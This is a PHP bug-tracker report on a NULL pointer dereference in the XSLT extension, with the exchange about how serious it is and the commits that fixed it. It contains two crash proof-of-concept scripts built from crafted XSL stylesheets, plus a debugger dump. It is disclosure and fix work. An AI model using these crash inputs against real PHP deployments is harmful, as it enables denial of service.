php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #71540 NULL pointer dereference in xsl_ext_function_php()
Submitted: 2016-02-07 08:46 UTC Modified: 2016-02-15 08:10 UTC
From: manhluat at vnsecurity dot net Assigned: stas (profile)
Status: Closed Package: XSLT related
PHP Version: 5.6.18 OS: Linux
Private report: No CVE-ID: None
 [2016-02-07 08:46 UTC] manhluat at vnsecurity dot net
Description:
------------
There is a lack of validation $obj in xsl_ext_function_php as link i mark highlight below

https://github.com/php/php-src/blob/master/ext/xsl/xsltprocessor.c#L233

It doesnt check whether $obj is NULL, then it passes NULL pointer further and makes php crash.

From an attackers point of view, could potentially alloc the heap at 0x0 address then probably lead to remote code execution.



Test script:
---------------
<?php
$xml = <<<EOB
<allusers>
 <user>
  <uid>bob</uid>
 </user>
</allusers>
EOB;
$xsl = <<<EOB
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" 
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:php="http://php.net/xsl">
<xsl:output method="html" encoding="utf-8" indent="yes"/>
 <xsl:template match="allusers">
  <html><body>
    <h2>Users</h2>
    <table>
    <xsl:for-each select="user">
      <tr><td>
        <xsl:value-of
             select="php:function('test',uid,test(test))"/>
      </td></tr>
    </xsl:for-each>
    </table>
  </body></html>
 </xsl:template>
</xsl:stylesheet>
EOB;
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);

$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
echo $proc->transformToXML($xmldoc);
?>

Expected result:
----------------
root@ubuntu:~/test/php-7.0.3# ./sapi/cli/php /root/test/php-5.6.17/hihi/poc/xsl_null.php 

Warning: XSLTProcessor::transformToXml(): xmlXPathCompOpEval: function test not found in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36

Warning: XSLTProcessor::transformToXml(): Unregistered function in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36

Warning: XSLTProcessor::transformToXml(): Stack usage errror in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36
Segmentation fault (core dumped)
root@ubuntu:~/test/php-7.0.3# 

Actual result:
--------------
gdb-peda$ r /root/test/php-5.6.17/hihi/poc/xsl_null.php 
Starting program: /root/test/php-7.0.3/sapi/cli/php /root/test/php-5.6.17/hihi/poc/xsl_null.php

Warning: XSLTProcessor::transformToXml(): xmlXPathCompOpEval: function test not found in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36

Warning: XSLTProcessor::transformToXml(): Unregistered function in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36

Warning: XSLTProcessor::transformToXml(): Stack usage errror in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7ffff5a62520 --> 0x7ffff5a62500 --> 0x7ffff5a624e0 --> 0x7ffff5a624c0 --> 0x7ffff5a62480 --> 0x7ffff5a62460 --> 0x7ffff5a62420 --> 0x7ffff5a62400 --> 0x7ffff5a623a0 --> 0x7ffff5a62560 --> 0x7ffff5a62580 --> 0x7ffff5a625a0 --> 0x7ffff5a625c0 --> 0x7ffff5a625e0 --> 0x7ffff5a62600 --> 0x7ffff5a62620 --> 0x7ffff5a62640 --> 0x7ffff5a62660 --> 0x7ffff5a62680 --> 0x7ffff5a626a0 --> 0x7ffff5a626c0 --> 0x7ffff5a626e0 --> 0x7ffff5a62700 --> 0x7ffff5a62720 --> 0x7ffff5a62740 --> 0x7ffff5a62760 --> 0x7ffff5a62780 --> 0x7ffff5a627a0 --> 0x7ffff5a627c0 --> 0x7ffff5a627e0 --> 0x7ffff5a62800 --> 0x7ffff5a62820 --> 0x7ffff5a62840 --> 0x7ffff5a62860 --> 0x7ffff5a62880 --> 0x7ffff5a628a0 --> 0x7ffff5a628c0 --> 0x7ffff5a628e0 --> 0x7ffff5a62900 --> 0x7ffff5a62920 --> 0x7ffff5a62940 --> 0x7ffff5a62960 --> 0x7ffff5a62980 --> 0x7ffff5a629a0 --> 0x7ffff5a629c0 --> 0x7ffff5a629e0 --> 0x7ffff5a62a00 --> 0x7ffff5a62a20 --> 0x7ffff5a62a40 --> 0x7ffff5a62a60 --> 0x7ffff5a62a80 --> 0x7ffff5a62aa0 --> 0x7ffff5a62ac0 --> 0x7ffff5a62ae0 --> 0x7ffff5a62b00 --> 0x7ffff5a62b20 --> 0x7ffff5a62b40 --> 0x7ffff5a62b60 --> 0x7ffff5a62b80 --> 0x7ffff5a62ba0 --> 0x7ffff5a62bc0 --> 0x7ffff5a62be0 --> 0x7ffff5a62c00 --> 0x7ffff5a62c20 --> 0x7ffff5a62c40 --> 0x7ffff5a62c60 --> 0x7ffff5a62c80 --> 0x7ffff5a62ca0 --> 0x7ffff5a62cc0 --> 0x7ffff5a62ce0 --> 0x7ffff5a62d00 --> 0x7ffff5a62d20 --> 0x7ffff5a62d40 --> 0x7ffff5a62d60 --> 0x7ffff5a62d80 --> 0x7ffff5a62da0 --> 0x7ffff5a62dc0 --> 0x7ffff5a62de0 --> 0x7ffff5a62e00 --> 0x7ffff5a62e20 --> 0x7ffff5a62e40 --> 0x7ffff5a62e60 --> 0x7ffff5a62e80 --> 0x7ffff5a62ea0 --> 0x7ffff5a62ec0 --> 0x7ffff5a62ee0 --> 0x7ffff5a62f00 --> 0x7ffff5a62f20 --> 0x7ffff5a62f40 --> 0x7ffff5a62f60 --> 0x7ffff5a62f80 --> 0x7ffff5a62fa0 --> 0x7ffff5a62fc0 --> 0x7ffff5a62fe0 --> 0x0 
RCX: 0xf 
RDX: 0x7ffff5a74400 --> 0x7ffff5a74500 --> 0x7ffff5a74600 --> 0x7ffff5a74700 --> 0x7ffff5a74800 --> 0x7ffff5a74900 --> 0x7ffff5a74a00 --> 0x7ffff5a74b00 --> 0x7ffff5a74c00 --> 0x7ffff5a74d00 --> 0x7ffff5a74e00 --> 0x7ffff5a74f00 --> 0x0 
RSI: 0x7ffff5a00000 --> 0x7ffff5a00040 --> 0x0 
RDI: 0x7ffff5a74300 --> 0x7ffff5a74400 --> 0x7ffff5a74500 --> 0x7ffff5a74600 --> 0x7ffff5a74700 --> 0x7ffff5a74800 --> 0x7ffff5a74900 --> 0x7ffff5a74a00 --> 0x7ffff5a74b00 --> 0x7ffff5a74c00 --> 0x7ffff5a74d00 --> 0x7ffff5a74e00 --> 0x7ffff5a74f00 --> 0x0 
RBP: 0x0 
RSP: 0x7fffffffa4e0 --> 0xf27c60 --> 0x0 
RIP: 0x5e9d12 (<xsl_ext_function_php+354>:      mov    eax,DWORD PTR [rax])
R8 : 0x7ffff7fd6740 (0x00007ffff7fd6740)
R9 : 0x78 ('x')
R10: 0x1 
R11: 0x246 
R12: 0x0 
R13: 0xf27c60 --> 0x0 
R14: 0x0 
R15: 0x7ffff5a5c320 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5e9d06 <xsl_ext_function_php+342>: mov    rdi,QWORD PTR [rsp]
   0x5e9d0a <xsl_ext_function_php+346>: call   0x424900 <valuePop@plt>
   0x5e9d0f <xsl_ext_function_php+351>: mov    r12,rax
=> 0x5e9d12 <xsl_ext_function_php+354>: mov    eax,DWORD PTR [rax]
   0x5e9d14 <xsl_ext_function_php+356>: cmp    eax,0x2
   0x5e9d17 <xsl_ext_function_php+359>: je     0x5e9f20 <xsl_ext_function_php+880>
   0x5e9d1d <xsl_ext_function_php+365>: ja     0x5e9c80 <xsl_ext_function_php+208>
   0x5e9d23 <xsl_ext_function_php+371>: cmp    eax,0x1
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa4e0 --> 0xf27c60 --> 0x0 
0008| 0x7fffffffa4e8 --> 0x7ffff5a62520 --> 0x7ffff5a62500 --> 0x7ffff5a624e0 --> 0x7ffff5a624c0 --> 0x7ffff5a62480 --> 0x7ffff5a62460 --> 0x7ffff5a62420 --> 0x7ffff5a62400 --> 0x7ffff5a623a0 --> 0x7ffff5a62560 --> 0x7ffff5a62580 --> 0x7ffff5a625a0 --> 0x7ffff5a625c0 --> 0x7ffff5a625e0 --> 0x7ffff5a62600 --> 0x7ffff5a62620 --> 0x7ffff5a62640 --> 0x7ffff5a62660 --> 0x7ffff5a62680 --> 0x7ffff5a626a0 --> 0x7ffff5a626c0 --> 0x7ffff5a626e0 --> 0x7ffff5a62700 --> 0x7ffff5a62720 --> 0x7ffff5a62740 --> 0x7ffff5a62760 --> 0x7ffff5a62780 --> 0x7ffff5a627a0 --> 0x7ffff5a627c0 --> 0x7ffff5a627e0 --> 0x7ffff5a62800 --> 0x7ffff5a62820 --> 0x7ffff5a62840 --> 0x7ffff5a62860 --> 0x7ffff5a62880 --> 0x7ffff5a628a0 --> 0x7ffff5a628c0 --> 0x7ffff5a628e0 --> 0x7ffff5a62900 --> 0x7ffff5a62920 --> 0x7ffff5a62940 --> 0x7ffff5a62960 --> 0x7ffff5a62980 --> 0x7ffff5a629a0 --> 0x7ffff5a629c0 --> 0x7ffff5a629e0 --> 0x7ffff5a62a00 --> 0x7ffff5a62a20 --> 0x7ffff5a62a40 --> 0x7ffff5a62a60 --> 0x7ffff5a62a80 --> 0x7ffff5a62aa0 --> 0x7ffff5a62ac0 --> 0x7ffff5a62ae0 --> 0x7ffff5a62b00 --> 0x7ffff5a62b20 --> 0x7ffff5a62b40 --> 0x7ffff5a62b60 --> 0x7ffff5a62b80 --> 0x7ffff5a62ba0 --> 0x7ffff5a62bc0 --> 0x7ffff5a62be0 --> 0x7ffff5a62c00 --> 0x7ffff5a62c20 --> 0x7ffff5a62c40 --> 0x7ffff5a62c60 --> 0x7ffff5a62c80 --> 0x7ffff5a62ca0 --> 0x7ffff5a62cc0 --> 0x7ffff5a62ce0 --> 0x7ffff5a62d00 --> 0x7ffff5a62d20 --> 0x7ffff5a62d40 --> 0x7ffff5a62d60 --> 0x7ffff5a62d80 --> 0x7ffff5a62da0 --> 0x7ffff5a62dc0 --> 0x7ffff5a62de0 --> 0x7ffff5a62e00 --> 0x7ffff5a62e20 --> 0x7ffff5a62e40 --> 0x7ffff5a62e60 --> 0x7ffff5a62e80 --> 0x7ffff5a62ea0 --> 0x7ffff5a62ec0 --> 0x7ffff5a62ee0 --> 0x7ffff5a62f00 --> 0x7ffff5a62f20 --> 0x7ffff5a62f40 --> 0x7ffff5a62f60 --> 0x7ffff5a62f80 --> 0x7ffff5a62fa0 --> 0x7ffff5a62fc0 --> 0x7ffff5a62fe0 --> 0x0 
0016| 0x7fffffffa4f0 --> 0x7ffff5a76000 --> 0xf12170 --> 0x0 
0024| 0x7fffffffa4f8 --> 0x100000002 
0032| 0x7fffffffa500 --> 0x7fffffffa540 --> 0xf1294a ("function")
0040| 0x7fffffffa508 --> 0xf10ab0 --> 0x0 
0048| 0x7fffffffa510 --> 0xf108d0 --> 0x7ffff5a01078 (0x0000000000f108d0)
0056| 0x7fffffffa518 --> 0x2 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
xsl_ext_function_php (ctxt=<optimized out>, nargs=<optimized out>, type=<optimized out>) at /root/test/php-7.0.3/ext/xsl/xsltprocessor.c:234
234                     switch (obj->type) {
gdb-peda$ 

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-02-08 02:22 UTC] stas@php.net
Seems to be a real bug, but I don't think it is a security issue since you need access to calling PHP functions to do this, and if you have that, you already have execution privileges.
 [2016-02-08 02:23 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-02-08 02:39 UTC] manhluat at vnsecurity dot net
Indeed, the bug can be triggered via 3rd arguments test(test), not first parameter (function name). Because the type of "test" is not exists, libxslt would return NULL value.
 [2016-02-09 17:13 UTC] manhluat at vnsecurity dot net
----------------------------------------------
<?php
$xml = <<<EOB

<allusers>
 <user>
 <id>aaa</id>
  <name>bob</name>
 </user>
</allusers>
EOB;
$xsl = <<<EOB
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" 
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:php="http://php.net/xsl">
<xsl:output method="html" encoding="utf-8" indent="yes"/>
 <xsl:template match="allusers">
  <html><body>
    <h2>Users</h2>
    <table>
    <xsl:for-each select="user">
      <tr><td>
        <xsl:value-of
             select="php:functionString('var_dump',uid,int(id))"/>
      </td></tr>
    </xsl:for-each>
    </table>
  </body></html>
 </xsl:template>
</xsl:stylesheet>
EOB;
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);

$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
echo $proc->transformToXML($xmldoc);
?>
----------------------------------------------

another PoC.

U can see that end-user should be able to input $xml right ? :D.

and in $xsl, developer wanna convert id to `int` type. But in this evil scenario, attacker just supply dummy string to make valuePop returns NULL.
 [2016-02-09 20:15 UTC] stas@php.net
The new example still uses an undefined function int:

Warning: XSLTProcessor::transformToXml(): xmlXPathCompOpEval: function int not found in /Users/smalyshev/php-5.5/mamp/71540-2.php on line 38

If I use existing XSL function number(), no crash happens. So the question is - is there a way to reproduce it without specially crafted XSLT that uses undefined functions?
 [2016-02-09 20:58 UTC] manhluat at vnsecurity dot net
That was my mistake. Afaik, there might be the only way to reproduce this crash.
 [2016-02-15 08:10 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-02-15 08:11 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c11b23c46577e30e1e0a7c0abfb4c7ea735c34e1
Log: Fix bug #71540 - NULL pointer dereference in xsl_ext_function_php()
 [2016-02-15 08:11 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-02-15 08:11 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=cf0cf5b5074e0bd00c0e3eb948a7420363a41eed
Log: Fix bug #71540 - NULL pointer dereference in xsl_ext_function_php()
 [2016-02-15 08:11 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=889e3b62f4229784143c5d645c15a8a42f07797d
Log: Fix bug #71540 - NULL pointer dereference in xsl_ext_function_php()
 [2016-04-18 09:29 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=889e3b62f4229784143c5d645c15a8a42f07797d
Log: Fix bug #71540 - NULL pointer dereference in xsl_ext_function_php()
 [2016-07-20 11:33 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=889e3b62f4229784143c5d645c15a8a42f07797d
Log: Fix bug #71540 - NULL pointer dereference in xsl_ext_function_php()
 [2016-07-20 11:33 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=cf0cf5b5074e0bd00c0e3eb948a7420363a41eed
Log: Fix bug #71540 - NULL pointer dereference in xsl_ext_function_php()
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 11:01:29 2024 UTC